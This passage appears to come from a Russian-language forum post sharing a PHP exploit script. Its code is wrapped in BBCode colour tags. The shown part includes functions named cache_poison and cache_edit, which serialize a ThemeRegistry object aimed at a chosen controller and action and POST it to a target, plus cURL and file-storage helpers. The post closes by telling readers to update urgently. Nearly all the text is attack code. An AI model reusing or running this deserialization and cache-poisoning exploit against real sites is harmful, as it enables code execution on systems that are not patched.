COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_error[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]curl_close[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]);

if([/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"cURL:[/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);
}

return[/COLOR][COLOR="#0000BB"]json_decode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$output[/COLOR][COLOR="#007700"]);
}
}

[/
COLOR][COLOR="#FF8000"]# Cache

[/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]cache_poison[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$endpoint[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cache[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]$tr[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]ThemeRegistry[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cache[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$endpoint[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CONTROLLER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ACTION[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]cache_edit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tr[/COLOR][COLOR="#007700"]);
}

function[/
COLOR][COLOR="#0000BB"]cache_reset[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$endpoint[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cache[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]$tr[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]ThemeRegistry[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cache[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$endpoint[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]cache_edit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tr[/COLOR][COLOR="#007700"]);
}

function[/
COLOR][COLOR="#0000BB"]cache_edit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tr[/COLOR][COLOR="#007700"])
{
global[/COLOR][COLOR="#0000BB"]$browser[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]serialize[/COLOR][COLOR="#007700"]([[/COLOR][COLOR="#0000BB"]$tr[/COLOR][COLOR="#007700"]]);
[/
COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$browser[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]TYPE_PHP[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]);
}

[/
COLOR][COLOR="#FF8000"]# Utils

[/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"])
{
print([/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#DD0000"]\n"[/COLOR][COLOR="#007700"]);
}

function[/
COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"]);
exit([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);
}

function[/
COLOR][COLOR="#0000BB"]store[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#DD0000"].json"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]file_put_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]json_encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]JSON_PRETTY_PRINT[/COLOR][COLOR="#007700"]));
[/
COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Stored[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#DD0000"]information in[/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);
}[/COLOR][/COLOR


Всем срочно обновляться =)

Источник : Здесь
__________________
...
 
Ответить с цитированием